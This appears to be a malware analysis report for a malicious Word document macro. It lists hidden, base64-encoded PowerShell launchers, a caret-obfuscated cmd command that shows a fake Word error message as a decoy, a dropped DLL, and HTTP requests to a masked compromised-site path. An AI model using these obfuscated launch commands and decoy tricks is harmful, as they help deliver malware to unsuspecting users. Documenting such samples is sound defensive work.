Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IABTAEUAVAAtAEkAdABFAG0AIAB2AEEAUgBpAEEAQgBMAGUAOgBzAFcAUQB1AHgAIAAoACAAWwBUAFkAcABFAF0AKAAiAHsAMwB9AHsAMQB9AHsAMAB9AHsAMgB9ACIAIAAtAGYAIAAnAG8ALgBEAGkAUgBFAEMA...
Modifies file system
Creates the following files
- %HOMEPATH%\kn94rj8\jmso8vc\u30k.dll
Network activity
TCP
HTTP GET requests
- http://www.au##tra.com/wp-admin/Logs/
UDP
- DNS ASK au##tra.com
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IABTAEUAVAAtAEkAdABFAG0AIAB2AEEAUgBpAEEAQgBMAGUAOgBzAFcAU...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
